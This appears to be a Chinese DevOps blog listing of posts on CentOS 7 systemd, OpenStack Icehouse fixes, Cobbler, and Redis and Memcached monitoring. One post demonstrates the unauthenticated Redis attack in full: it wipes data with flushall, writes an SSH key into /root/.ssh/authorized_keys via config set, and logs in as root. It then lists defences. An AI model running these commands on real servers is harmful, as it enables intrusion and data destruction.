DevOps学院

DevOps学院

中国新一代IT在线教育平台
运维知识体系

运维知识体系

运维知识体系总结,持续更新,欢迎转载。
缓存知识体系

缓存知识体系

运维知识体系之缓存,分层多级缓存体系。
速云科技

速云科技

DevOps咨询、企业内训、落地解决方案。

CentOS6到CentOS-7变化

系统管理赵班长 发表了文章 • 2 个评论 • 4440 次浏览 • 2015-11-24 23:34 • 来自相关话题

    使用CentOS-7最直观的变化就是服务管理了。这里介绍一下。

services使用了systemd来代替sysvinit管理

        systemd是Linux下的一种init软件,由Lennart Poettering带头开发,并在LGPL 2.1及其后续版本许可证下开源发布。其开发目标是提供更优秀的框架以表示系统服务间的依赖关系,并依此实现系统初始化时服务的并行启动,同时达到降低Shell的系统开销的效果,最终代替现在常用的System V与BSD风格init程序。
与多数发行版使用的System V风格init相比,systemd采用了以下新技术:
采用Socket激活式与总线激活式服务,以提高相互依赖的各服务的并行运行性能;
用cgroups代替PID来追踪进程,以此即使是两次fork之后生成的守护进程也不会脱离systemd的控制。
从设计构思上说,由于systemd使用了cgroup与fanotify等组件以实现其特性,所以只适用于Linux。

systemd的服务管理程序:
systemctl是主要的工具,它融合之前service和chkconfig的功能于一体。可以使用它永久性或只在当前会话中启用/禁用服务。启动一个服务:systemctl start postfix.service
关闭一个服务:systemctl stop postfix.service
重启一个服务:systemctl restart postfix.service
显示一个服务的状态:systemctl status postfix.service
在开机时启用一个服务:systemctl enable postfix.service
在开机时禁用一个服务:systemctl disable postfix.service
查看服务是否开机启动:systemctl is-enabled postfix.service;echo $?
查看已启动的服务列表:systemctl list-unit-files|grep enabled 查看全部
    使用CentOS-7最直观的变化就是服务管理了。这里介绍一下。

services使用了systemd来代替sysvinit管理


        systemd是Linux下的一种init软件,由Lennart Poettering带头开发,并在LGPL 2.1及其后续版本许可证下开源发布。其开发目标是提供更优秀的框架以表示系统服务间的依赖关系,并依此实现系统初始化时服务的并行启动,同时达到降低Shell的系统开销的效果,最终代替现在常用的System V与BSD风格init程序。
与多数发行版使用的System V风格init相比,systemd采用了以下新技术:
采用Socket激活式与总线激活式服务,以提高相互依赖的各服务的并行运行性能;
用cgroups代替PID来追踪进程,以此即使是两次fork之后生成的守护进程也不会脱离systemd的控制。
从设计构思上说,由于systemd使用了cgroup与fanotify等组件以实现其特性,所以只适用于Linux。

systemd的服务管理程序:
systemctl是主要的工具,它融合之前service和chkconfig的功能于一体。可以使用它永久性或只在当前会话中启用/禁用服务。
启动一个服务:systemctl start postfix.service
关闭一个服务:systemctl stop postfix.service
重启一个服务:systemctl restart postfix.service
显示一个服务的状态:systemctl status postfix.service
在开机时启用一个服务:systemctl enable postfix.service
在开机时禁用一个服务:systemctl disable postfix.service
查看服务是否开机启动:systemctl is-enabled postfix.service;echo $?
查看已启动的服务列表:systemctl list-unit-files|grep enabled

OpenStack Icehouse novncproxy无法启动解决

OpenStack赵班长 发表了文章 • 3 个评论 • 3323 次浏览 • 2015-11-19 14:53 • 来自相关话题

将OpenStack Icehouse版升级完毕后,发现novncproxy无法启动。

第一步:使用命令启动看看报错。[root@test-node1 ~]# nova-novncproxy --config-file /etc/nova/nova.conf
Traceback (most recent call last):
File "/usr/bin/nova-novncproxy", line 10, in <module>
sys.exit(main())
File "/usr/lib/python2.6/site-packages/nova/cmd/novncproxy.py", line 87, in main
wrap_cmd=None)
File "/usr/lib/python2.6/site-packages/nova/console/websocketproxy.py", line 47, in __init__
ssl_target=None, *args, **kwargs)
File "/usr/lib/python2.6/site-packages/websockify/websocketproxy.py", line 231, in __init__
websocket.WebSocketServer.__init__(self, RequestHandlerClass, *args, **kwargs)
TypeError: __init__() got an unexpected keyword argument 'no_parent'
第二步:Google。发现这个是由于websockify版本过高的问题。

第三步:安装一个低版本的。[root@test-node1 ~]# /usr/bin/pip2.6 install websockify==0.5.1
OK,搞定。
  查看全部
将OpenStack Icehouse版升级完毕后,发现novncproxy无法启动。

第一步:使用命令启动看看报错。
[root@test-node1 ~]# nova-novncproxy --config-file /etc/nova/nova.conf
Traceback (most recent call last):
File "/usr/bin/nova-novncproxy", line 10, in <module>
sys.exit(main())
File "/usr/lib/python2.6/site-packages/nova/cmd/novncproxy.py", line 87, in main
wrap_cmd=None)
File "/usr/lib/python2.6/site-packages/nova/console/websocketproxy.py", line 47, in __init__
ssl_target=None, *args, **kwargs)
File "/usr/lib/python2.6/site-packages/websockify/websocketproxy.py", line 231, in __init__
websocket.WebSocketServer.__init__(self, RequestHandlerClass, *args, **kwargs)
TypeError: __init__() got an unexpected keyword argument 'no_parent'

第二步:Google。发现这个是由于websockify版本过高的问题。

第三步:安装一个低版本的。
[root@test-node1 ~]# /usr/bin/pip2.6 install websockify==0.5.1

OK,搞定。
 

Cobbler安装CentOS 7网卡命名修改

DevOps赵班长 发表了文章 • 0 个评论 • 3050 次浏览 • 2015-11-18 16:54 • 来自相关话题

      准备上线CentOS 7,在Cobbler上导入后,发现网卡名称变成了eno1这样的,好吧,那就添加两个内核参数上去,让它变回eth0吧,这样就可以做全网统一,标准化是自动化运维的基石嘛。cobbler profile edit --name=CentOS-7.1-x86_64 --kopts='net.ifnames=0 biosdevname=0'
OK,就这样,工作很忙,文章很短! 查看全部
      准备上线CentOS 7,在Cobbler上导入后,发现网卡名称变成了eno1这样的,好吧,那就添加两个内核参数上去,让它变回eth0吧,这样就可以做全网统一,标准化是自动化运维的基石嘛。
cobbler profile edit --name=CentOS-7.1-x86_64 --kopts='net.ifnames=0 biosdevname=0'

OK,就这样,工作很忙,文章很短!

OpenStack如何修改Cinder后端存储的卷信息

OpenStack赵班长 发表了文章 • 0 个评论 • 2542 次浏览 • 2015-11-18 09:47 • 来自相关话题

    公司面临着Glusterfs的迁移工作,原OpenStack都是连接的192.168.0.3上面的Glusterfs的volume。现在需要更换IP,发现硬重启云主机,并不会自动进行volume的变动,于是查看源码,确认生成libvirtxml的时候从哪里取的卷。vim /usr/lib/python2.6/site-packages/nova/virt/libvirt/volume.py
发现会从nova数据库的block_device_mapping表中取connection_info,好吧,继续暴力一次,直接update一下。update nova.block_device_mapping set connection_info='{"driver_volume_type": "glusterfs", "mount_point_base": "/var/lib/cinder/mnt", "serial": "484c287a-0e1b-46cb-a7e0-5a626e2c632e", "data": {"device_path": "/var/lib/nova/mnt/b6c2ec525d0123967968d0b115df02fd/volume-484c287a-0e1b-46cb-a7e0-5a626e2c632e", "name": "volume-484c287a-0e1b-46cb-a7e0-5a626e2c632e", "format": "raw", "qos_specs": null, "export": "192.168.0.1:/cinder-volume", "access_mode": "rw", "options": null}}' where instance_uuid='d897bf7e-e95a-4d73-a6f3-8b1c8a794d3e' and volume_id='484c287a-0e1b-46cb-a7e0-5a626e2c632e';


update nova.block_device_mapping set connection_info='{"driver_volume_type": "glusterfs", "mount_point_base": "/var/lib/cinder/mnt", "serial": "6caf9478-365d-41b1-9997-f92ccf47c0ff", "data": {"device_path": "/var/lib/nova/mnt/b6c2ec525d0123967968d0b115df02fd/volume-6caf9478-365d-41b1-9997-f92ccf47c0ff", "name": "volume-6caf9478-365d-41b1-9997-f92ccf47c0ff", "format": "raw", "qos_specs": null, "export": "192.168.0.1:/cinder-volume", "access_mode": "rw", "options": null}}' where instance_uuid='d897bf7e-e95a-4d73-a6f3-8b1c8a794d3e' and volume_id='6caf9478-365d-41b1-9997-f92ccf47c0ff';
      把每台云主机的每个卷都update一下,然后硬重启,nova会重新生成新的libvrit.xml。然后你发现,变成了你想要的样子了,不说了,继续搬砖。有机会好好研究研究源码,现在事情太多。 查看全部
    公司面临着Glusterfs的迁移工作,原OpenStack都是连接的192.168.0.3上面的Glusterfs的volume。现在需要更换IP,发现硬重启云主机,并不会自动进行volume的变动,于是查看源码,确认生成libvirtxml的时候从哪里取的卷。vim /usr/lib/python2.6/site-packages/nova/virt/libvirt/volume.py
发现会从nova数据库的block_device_mapping表中取connection_info,好吧,继续暴力一次,直接update一下。
update nova.block_device_mapping set connection_info='{"driver_volume_type": "glusterfs", "mount_point_base": "/var/lib/cinder/mnt", "serial": "484c287a-0e1b-46cb-a7e0-5a626e2c632e", "data": {"device_path": "/var/lib/nova/mnt/b6c2ec525d0123967968d0b115df02fd/volume-484c287a-0e1b-46cb-a7e0-5a626e2c632e", "name": "volume-484c287a-0e1b-46cb-a7e0-5a626e2c632e", "format": "raw", "qos_specs": null, "export": "192.168.0.1:/cinder-volume", "access_mode": "rw", "options": null}}' where instance_uuid='d897bf7e-e95a-4d73-a6f3-8b1c8a794d3e' and volume_id='484c287a-0e1b-46cb-a7e0-5a626e2c632e';


update nova.block_device_mapping set connection_info='{"driver_volume_type": "glusterfs", "mount_point_base": "/var/lib/cinder/mnt", "serial": "6caf9478-365d-41b1-9997-f92ccf47c0ff", "data": {"device_path": "/var/lib/nova/mnt/b6c2ec525d0123967968d0b115df02fd/volume-6caf9478-365d-41b1-9997-f92ccf47c0ff", "name": "volume-6caf9478-365d-41b1-9997-f92ccf47c0ff", "format": "raw", "qos_specs": null, "export": "192.168.0.1:/cinder-volume", "access_mode": "rw", "options": null}}' where instance_uuid='d897bf7e-e95a-4d73-a6f3-8b1c8a794d3e' and volume_id='6caf9478-365d-41b1-9997-f92ccf47c0ff';

      把每台云主机的每个卷都update一下,然后硬重启,nova会重新生成新的libvrit.xml。然后你发现,变成了你想要的样子了,不说了,继续搬砖。有机会好好研究研究源码,现在事情太多。

OpenStack桌面虚拟化支持USB重定向和声卡

OpenStack赵班长 发表了文章 • 8 个评论 • 3577 次浏览 • 2015-11-17 18:04 • 来自相关话题

公司测试OpenStack的桌面虚拟化,默认情况下生成的libvirt的xml是不支持USB重定向和声卡,最快捷的方法就是,Hack下源码,硬加进去:

vim /usr/lib/python2.6/site-packages/nova/virt/libvirt/driver.py def to_xml(self, context, instance, network_info, disk_info,
image_meta=None, rescue=None,
block_device_info=None, write_to_disk=False):
# We should get image metadata every time for generating xml
if image_meta is None:
(image_service, image_id) = glance.get_remote_image_service(
context, instance['image_ref'])
image_meta = compute_utils.get_image_metadata(
context, image_service, image_id, instance)
# NOTE(danms): Stringifying a NetworkInfo will take a lock. Do
# this ahead of time so that we don't acquire it while also
# holding the logging lock.
network_info_str = str(network_info)
LOG.debug(_('Start to_xml '
'network_info=%(network_info)s '
'disk_info=%(disk_info)s '
'image_meta=%(image_meta)s rescue=%(rescue)s'
'block_device_info=%(block_device_info)s'),
{'network_info': network_info_str, 'disk_info': disk_info,
'image_meta': image_meta, 'rescue': rescue,
'block_device_info': block_device_info},
instance=instance)
conf = self.get_guest_config(instance, network_info, image_meta,
disk_info, rescue, block_device_info)
pre_xml = conf.to_xml()
hack_xml = """
<append>
<controller type='usb' index='0' model='ich9-ehci1'/>
<controller type='usb' index='0' model='ich9-uhci1'>
<master startport='0'/>
</controller>
<controller type='usb' index='0' model='ich9-uhci2'>
<master startport='2'/>
</controller>
<controller type='usb' index='0' model='ich9-uhci3'>
<master startport='4'/>
</controller>
<redirdev bus='usb' type='spicevmc'/>
<redirdev bus='usb' type='spicevmc'/>
<redirdev bus='usb' type='spicevmc'/>
<redirdev bus='usb' type='spicevmc'/>
<sound model='ich6'>
<alias name='sound0'/>
</sound>
</append>
"""
tar_obj = ''
libvit_obj = minidom.parseString(pre_xml)
hack_obj = minidom.parseString(hack_xml)
for c_lib_obj in libvit_obj.childNodes[0].childNodes:
if (isinstance(c_lib_obj, minidom.Element) and c_lib_obj.tagName == 'devices'):
c_lib_obj.childNodes.extend(hack_obj.childNodes[0].childNodes)

xml = libvit_obj.toxml()
if write_to_disk:
instance_dir = libvirt_utils.get_instance_path(instance)
xml_path = os.path.join(instance_dir, 'libvirt.xml')
libvirt_utils.write_to_file(xml_path, xml)

LOG.debug(_('End to_xml xml=%(xml)s'),
{'xml': xml}, instance=instance)
return xml
简单的说,就是让Nova生成libvirt xml的时候,硬编码进去相关的xml标签,好暴力,但是高效好用! 查看全部
公司测试OpenStack的桌面虚拟化,默认情况下生成的libvirt的xml是不支持USB重定向和声卡,最快捷的方法就是,Hack下源码,硬加进去:

vim /usr/lib/python2.6/site-packages/nova/virt/libvirt/driver.py
    def to_xml(self, context, instance, network_info, disk_info,
image_meta=None, rescue=None,
block_device_info=None, write_to_disk=False):
# We should get image metadata every time for generating xml
if image_meta is None:
(image_service, image_id) = glance.get_remote_image_service(
context, instance['image_ref'])
image_meta = compute_utils.get_image_metadata(
context, image_service, image_id, instance)
# NOTE(danms): Stringifying a NetworkInfo will take a lock. Do
# this ahead of time so that we don't acquire it while also
# holding the logging lock.
network_info_str = str(network_info)
LOG.debug(_('Start to_xml '
'network_info=%(network_info)s '
'disk_info=%(disk_info)s '
'image_meta=%(image_meta)s rescue=%(rescue)s'
'block_device_info=%(block_device_info)s'),
{'network_info': network_info_str, 'disk_info': disk_info,
'image_meta': image_meta, 'rescue': rescue,
'block_device_info': block_device_info},
instance=instance)
conf = self.get_guest_config(instance, network_info, image_meta,
disk_info, rescue, block_device_info)
pre_xml = conf.to_xml()
hack_xml = """
<append>
<controller type='usb' index='0' model='ich9-ehci1'/>
<controller type='usb' index='0' model='ich9-uhci1'>
<master startport='0'/>
</controller>
<controller type='usb' index='0' model='ich9-uhci2'>
<master startport='2'/>
</controller>
<controller type='usb' index='0' model='ich9-uhci3'>
<master startport='4'/>
</controller>
<redirdev bus='usb' type='spicevmc'/>
<redirdev bus='usb' type='spicevmc'/>
<redirdev bus='usb' type='spicevmc'/>
<redirdev bus='usb' type='spicevmc'/>
<sound model='ich6'>
<alias name='sound0'/>
</sound>
</append>
"""
tar_obj = ''
libvit_obj = minidom.parseString(pre_xml)
hack_obj = minidom.parseString(hack_xml)
for c_lib_obj in libvit_obj.childNodes[0].childNodes:
if (isinstance(c_lib_obj, minidom.Element) and c_lib_obj.tagName == 'devices'):
c_lib_obj.childNodes.extend(hack_obj.childNodes[0].childNodes)

xml = libvit_obj.toxml()
if write_to_disk:
instance_dir = libvirt_utils.get_instance_path(instance)
xml_path = os.path.join(instance_dir, 'libvirt.xml')
libvirt_utils.write_to_file(xml_path, xml)

LOG.debug(_('End to_xml xml=%(xml)s'),
{'xml': xml}, instance=instance)
return xml

简单的说,就是让Nova生成libvirt xml的时候,硬编码进去相关的xml标签,好暴力,但是高效好用!

在使用docker时,如何追加端口最为方便

运维杂谈赵班长 回复了问题 • 2 人关注 • 1 个回复 • 2014 次浏览 • 2015-11-17 16:21 • 来自相关话题

Redis Crackit漏洞利用和防护

运维杂谈赵班长 发表了文章 • 4 个评论 • 5086 次浏览 • 2015-11-11 17:59 • 来自相关话题

        注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!

    目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊。具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了。可以通过redis直接获取system shell,注意哦,可不是web shell。你的redis运行在什么用户,就直接能登陆了。

 下面我模拟一下入侵过程:

 准备工作:
1.准备一个运行在root用户下的验证redis。2.在你的本地生产一个ssh key。# ssh-keygen -t rsa -C "redis-crackit@unixhot.com"3. 给你的公钥加点换行   # (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > zhimakaimen.txt

开始了:很简单哦

#清空数据,必备哦。不要轻易操作,会清空redis所有数据哦。
[root@test-node1 ~]# redis-cli -h 192.168.199.221 flushall
OK
#把公钥写入到一个key里面
[root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen
#连接到这个redis上
[root@test-node1 ~]# redis-cli -h 192.168.199.221
#设置rdb文件存放的路径
redis 192.168.199.221:6379> config set dir /root/.ssh/
OK
#设置rdb文件的文件名
redis 192.168.199.221:6379> config set dbfilename "authorized_keys"
OK
#搞定保存
redis 192.168.199.221:6379> save
OK
#退出
redis 192.168.199.221:6379> exit

#尝试登陆吧
[root@test-node1 ~]# ssh root@192.168.199.221
Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com

!!!!!!!!!!!!好吧,一台服务器就这一沦陷了!!!!!!!

#去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys
[root@test-node2 ~]# cat /root/.ssh/authorized_keys

注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要只想flushall,这个是明确的违法的哦。

如何防护:

     1.禁用这些可以入侵的命令:
     [root@test-node2 ~]# vim /etc/redis.conf
     rename-command FLUSHALL ""
     #rename-command CONFIG ""  注意,设置了,可就不能用了,如果需要使用可以设置一个其它名称。
 
    2.将你的redis不要运行在0.0.0.0.或者设置验证。
     [root@test-node2 ~]# vim /etc/redis.conf
    requirepass redis-passwd
    bind 192.168.199.11

   3.尽量不要使用root运行。默认yum安装的redis,是运行在redis用户的。

如何发现被入侵:
   
    1.你的redis数据莫名其妙没有了。     2.检查你的rdb文件存放的路径     3.检查是否有非法的authorized_keys 查看全部
        注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!

    目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊。具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了。可以通过redis直接获取system shell,注意哦,可不是web shell。你的redis运行在什么用户,就直接能登陆了。

 下面我模拟一下入侵过程:

 准备工作:

  • 1.准备一个运行在root用户下的验证redis。
  • 2.在你的本地生产一个ssh key。# ssh-keygen -t rsa -C "redis-crackit@unixhot.com"
  • 3. 给你的公钥加点换行   # (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > zhimakaimen.txt


开始了:很简单哦

#清空数据,必备哦。不要轻易操作,会清空redis所有数据哦。

[root@test-node1 ~]# redis-cli -h 192.168.199.221 flushall
OK
#把公钥写入到一个key里面
[root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen
#连接到这个redis上
[root@test-node1 ~]# redis-cli -h 192.168.199.221
#设置rdb文件存放的路径
redis 192.168.199.221:6379> config set dir /root/.ssh/
OK
#设置rdb文件的文件名
redis 192.168.199.221:6379> config set dbfilename "authorized_keys"
OK
#搞定保存
redis 192.168.199.221:6379> save
OK
#退出
redis 192.168.199.221:6379> exit

#尝试登陆吧
[root@test-node1 ~]# ssh root@192.168.199.221
Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com

!!!!!!!!!!!!好吧,一台服务器就这一沦陷了!!!!!!!

#去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys
[root@test-node2 ~]# cat /root/.ssh/authorized_keys

注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要只想flushall,这个是明确的违法的哦。

如何防护:

     1.禁用这些可以入侵的命令:
     [root@test-node2 ~]# vim /etc/redis.conf
     rename-command FLUSHALL ""
     #rename-command CONFIG ""  注意,设置了,可就不能用了,如果需要使用可以设置一个其它名称。
 
    2.将你的redis不要运行在0.0.0.0.或者设置验证。
     [root@test-node2 ~]# vim /etc/redis.conf
    requirepass redis-passwd
    bind 192.168.199.11

   3.尽量不要使用root运行。默认yum安装的redis,是运行在redis用户的。

如何发现被入侵:
   
  •     1.你的redis数据莫名其妙没有了。
  •      2.检查你的rdb文件存放的路径
  •      3.检查是否有非法的authorized_keys

OpenStack 无法连接到Neutron 问题解决

OpenStack赵班长 发表了文章 • 2 个评论 • 7445 次浏览 • 2015-11-11 10:19 • 来自相关话题

    我们在Icehouse版本创建虚拟机会遇到错误:无法连接到Neutron.的报错,但是虚拟机还可以创建成功,这个是一个已知的bug,可以通过修改源码解决。

    注意:还有一种情况,就是你的Neutron真的无法连接,要查看服务和监听端口是否正常!

Yum安装的文件在这里:
[root@test-node1 ~]# vim /usr/share/openstack-dashboard/openstack_dashboard/api/neutron.py
源码安装的在这里:
vim /usr/lib/python2.6/site-packages/openstack_dashboard/api/neutron.py
在class FloatingIpManager类里少了is_supported的方法,这个是一个bug,可以通过手动修改解决。
def is_simple_associate_supported(self):
        # NOTE: There are two reason that simple association support
        # needs more considerations. (1) Neutron does not support the
        # default floating IP pool at the moment. It can be avoided
        # in case where only one floating IP pool exists.
        # (2) Neutron floating IP is associated with each VIF and
        # we need to check whether such VIF is only one for an instance
        # to enable simple association support.
        return False
#在这个类的最下面,增加下面的方法,注意缩进。
    def is_supported(self):
        network_config = getattr(settings, 'OPENSTACK_NEUTRON_NETWORK', {})
        return network_config.get('enable_router', True)
修改完毕后,需要重启apache才可以生效:
[root@test-node1 ~]# /etc/init.d/httpd restart 查看全部
    我们在Icehouse版本创建虚拟机会遇到错误:无法连接到Neutron.的报错,但是虚拟机还可以创建成功,这个是一个已知的bug,可以通过修改源码解决。

    注意:还有一种情况,就是你的Neutron真的无法连接,要查看服务和监听端口是否正常!

Yum安装的文件在这里:
[root@test-node1 ~]# vim /usr/share/openstack-dashboard/openstack_dashboard/api/neutron.py
源码安装的在这里:
vim /usr/lib/python2.6/site-packages/openstack_dashboard/api/neutron.py
在class FloatingIpManager类里少了is_supported的方法,这个是一个bug,可以通过手动修改解决。
def is_simple_associate_supported(self):
        # NOTE: There are two reason that simple association support
        # needs more considerations. (1) Neutron does not support the
        # default floating IP pool at the moment. It can be avoided
        # in case where only one floating IP pool exists.
        # (2) Neutron floating IP is associated with each VIF and
        # we need to check whether such VIF is only one for an instance
        # to enable simple association support.
        return False
#在这个类的最下面,增加下面的方法,注意缩进。
    def is_supported(self):
        network_config = getattr(settings, 'OPENSTACK_NEUTRON_NETWORK', {})
        return network_config.get('enable_router', True)
修改完毕后,需要重启apache才可以生效:
[root@test-node1 ~]# /etc/init.d/httpd restart

应用监控-Redis状态监控

运维监控赵班长 发表了文章 • 1 个评论 • 3365 次浏览 • 2015-10-29 08:17 • 来自相关话题

Redis可以使用INFO命令,进行状态监控。

以一种易于解释(parse)且易于阅读的格式,返回关于 Redis 服务器的各种信息和统计数值。
通过给定可选的参数 section ,可以让命令只返回某一部分的信息:
    server : 一般 Redis 服务器信息,包含以下域:
            redis_version : Redis 服务器版本
            redis_git_sha1 : Git SHA1
            redis_git_dirty : Git dirty flag
            os : Redis 服务器的宿主操作系统
            arch_bits : 架构(32 或 64 位)
            multiplexing_api : Redis 所使用的事件处理机制
            gcc_version : 编译 Redis 时所使用的 GCC 版本
            process_id : 服务器进程的 PID
            run_id : Redis 服务器的随机标识符(用于 Sentinel 和集群)
            tcp_port : TCP/IP 监听端口
            uptime_in_seconds : 自 Redis 服务器启动以来,经过的秒数
            uptime_in_days : 自 Redis 服务器启动以来,经过的天数
            lru_clock : 以分钟为单位进行自增的时钟,用于 LRU 管理

    clients : 已连接客户端信息,包含以下域:
            connected_clients : 已连接客户端的数量(不包括通过从属服务器连接的客户端)
            client_longest_output_list : 当前连接的客户端当中,最长的输出列表
            client_longest_input_buf : 当前连接的客户端当中,最大输入缓存
            blocked_clients : 正在等待阻塞命令(BLPOP、BRPOP、BRPOPLPUSH)的客户端的数量
    memory : 内存信息,包含以下域:
            used_memory : 由 Redis 分配器分配的内存总量,以字节(byte)为单位
            used_memory_human : 以人类可读的格式返回 Redis 分配的内存总量
            used_memory_rss : 从操作系统的角度,返回 Redis 已分配的内存总量(俗称常驻集大小)。这个值和 top 、 ps 等命令的输出一致。
            used_memory_peak : Redis 的内存消耗峰值(以字节为单位)
            used_memory_peak_human : 以人类可读的格式返回 Redis 的内存消耗峰值
            used_memory_lua : Lua 引擎所使用的内存大小(以字节为单位)
            mem_fragmentation_ratio : used_memory_rss 和 used_memory 之间的比率
            mem_allocator : 在编译时指定的, Redis 所使用的内存分配器。可以是 libc 、 jemalloc 或者 tcmalloc 。
        在理想情况下, used_memory_rss 的值应该只比 used_memory 稍微高一点儿。
        当 rss > used ,且两者的值相差较大时,表示存在(内部或外部的)内存碎片。
        内存碎片的比率可以通过 mem_fragmentation_ratio 的值看出。
        当 used > rss 时,表示 Redis 的部分内存被操作系统换出到交换空间了,在这种情况下,操作可能会产生明显的延迟。
        Because Redis does not have control over how its allocations are mapped to memory pages, high used_memory_rss is often the result of a spike in memory usage.
        当 Redis 释放内存时,分配器可能会,也可能不会,将内存返还给操作系统。
        如果 Redis 释放了内存,却没有将内存返还给操作系统,那么 used_memory 的值可能和操作系统显示的 Redis 内存占用并不一致。
        查看 used_memory_peak 的值可以验证这种情况是否发生。

    persistence : RDB 和 AOF 的相关信息
    stats : 一般统计信息
    replication : 主/从复制信息
    cpu : CPU 计算量统计信息
    commandstats : Redis 命令统计信息
    cluster : Redis 集群信息
    keyspace : 数据库相关的统计信息

除上面给出的这些值以外,参数还可以是下面这两个:
    all : 返回所有信息
    default : 返回默认选择的信息
当不带参数直接调用 INFO 命令时,使用 default 作为默认参数。 查看全部
Redis可以使用INFO命令,进行状态监控。

以一种易于解释(parse)且易于阅读的格式,返回关于 Redis 服务器的各种信息和统计数值。
通过给定可选的参数 section ,可以让命令只返回某一部分的信息:
    server : 一般 Redis 服务器信息,包含以下域:
            redis_version : Redis 服务器版本
            redis_git_sha1 : Git SHA1
            redis_git_dirty : Git dirty flag
            os : Redis 服务器的宿主操作系统
            arch_bits : 架构(32 或 64 位)
            multiplexing_api : Redis 所使用的事件处理机制
            gcc_version : 编译 Redis 时所使用的 GCC 版本
            process_id : 服务器进程的 PID
            run_id : Redis 服务器的随机标识符(用于 Sentinel 和集群)
            tcp_port : TCP/IP 监听端口
            uptime_in_seconds : 自 Redis 服务器启动以来,经过的秒数
            uptime_in_days : 自 Redis 服务器启动以来,经过的天数
            lru_clock : 以分钟为单位进行自增的时钟,用于 LRU 管理

    clients : 已连接客户端信息,包含以下域:
            connected_clients : 已连接客户端的数量(不包括通过从属服务器连接的客户端)
            client_longest_output_list : 当前连接的客户端当中,最长的输出列表
            client_longest_input_buf : 当前连接的客户端当中,最大输入缓存
            blocked_clients : 正在等待阻塞命令(BLPOP、BRPOP、BRPOPLPUSH)的客户端的数量
    memory : 内存信息,包含以下域:
            used_memory : 由 Redis 分配器分配的内存总量,以字节(byte)为单位
            used_memory_human : 以人类可读的格式返回 Redis 分配的内存总量
            used_memory_rss : 从操作系统的角度,返回 Redis 已分配的内存总量(俗称常驻集大小)。这个值和 top 、 ps 等命令的输出一致。
            used_memory_peak : Redis 的内存消耗峰值(以字节为单位)
            used_memory_peak_human : 以人类可读的格式返回 Redis 的内存消耗峰值
            used_memory_lua : Lua 引擎所使用的内存大小(以字节为单位)
            mem_fragmentation_ratio : used_memory_rss 和 used_memory 之间的比率
            mem_allocator : 在编译时指定的, Redis 所使用的内存分配器。可以是 libc 、 jemalloc 或者 tcmalloc 。
        在理想情况下, used_memory_rss 的值应该只比 used_memory 稍微高一点儿。
        当 rss > used ,且两者的值相差较大时,表示存在(内部或外部的)内存碎片。
        内存碎片的比率可以通过 mem_fragmentation_ratio 的值看出。
        当 used > rss 时,表示 Redis 的部分内存被操作系统换出到交换空间了,在这种情况下,操作可能会产生明显的延迟。
        Because Redis does not have control over how its allocations are mapped to memory pages, high used_memory_rss is often the result of a spike in memory usage.
        当 Redis 释放内存时,分配器可能会,也可能不会,将内存返还给操作系统。
        如果 Redis 释放了内存,却没有将内存返还给操作系统,那么 used_memory 的值可能和操作系统显示的 Redis 内存占用并不一致。
        查看 used_memory_peak 的值可以验证这种情况是否发生。

    persistence : RDB 和 AOF 的相关信息
    stats : 一般统计信息
    replication : 主/从复制信息
    cpu : CPU 计算量统计信息
    commandstats : Redis 命令统计信息
    cluster : Redis 集群信息
    keyspace : 数据库相关的统计信息

除上面给出的这些值以外,参数还可以是下面这两个:
    all : 返回所有信息
    default : 返回默认选择的信息
当不带参数直接调用 INFO 命令时,使用 default 作为默认参数。

应用监控-Memcached状态监控

运维监控赵班长 发表了文章 • 0 个评论 • 2095 次浏览 • 2015-10-29 08:16 • 来自相关话题

[root@lb-node2 ~]# telnet 192.168.0.32 11211
Trying 192.168.0.32...
Connected to lb-node2.unixhot.com (192.168.0.32).
Escape character is '^]'.
stats
STAT pid 28123
STAT uptime 12108651
STAT time 1432622335
STAT version 1.4.20
STAT libevent 2.0.21-stable
STAT pointer_size 64
STAT rusage_user 302790.469851
STAT rusage_system 532615.597121
STAT curr_connections 1296
STAT total_connections 11753300
STAT connection_structures 12455
STAT reserved_fds 20
STAT cmd_get 25390452631
STAT cmd_set 432317850
STAT cmd_flush 0
STAT cmd_touch 0
STAT get_hits 25032687722
STAT get_misses 357764909
STAT delete_misses 252
STAT delete_hits 8799
STAT incr_misses 0
STAT incr_hits 0
STAT decr_misses 0
STAT decr_hits 0
STAT cas_misses 0
STAT cas_hits 0
STAT cas_badval 0
STAT touch_hits 0
STAT touch_misses 0
STAT auth_cmds 0
STAT auth_errors 0
STAT bytes_read 2895142583054
STAT bytes_written 70030373847154
STAT limit_maxbytes 8489271296
STAT accepting_conns 1
STAT listen_disabled_num 0
STAT threads 4
STAT conn_yields 0
STAT hash_power_level 21
STAT hash_bytes 16777216
STAT hash_is_expanding 0
STAT malloc_fails 0
STAT bytes 356408566
STAT curr_items 480250
STAT total_items 432317850
STAT expired_unfetched 136046737
STAT evicted_unfetched 0
STAT evictions 0
STAT reclaimed 172307832
STAT crawler_reclaimed 0
END
这里显示了很多状态信息,下边详细解释每个状态项:
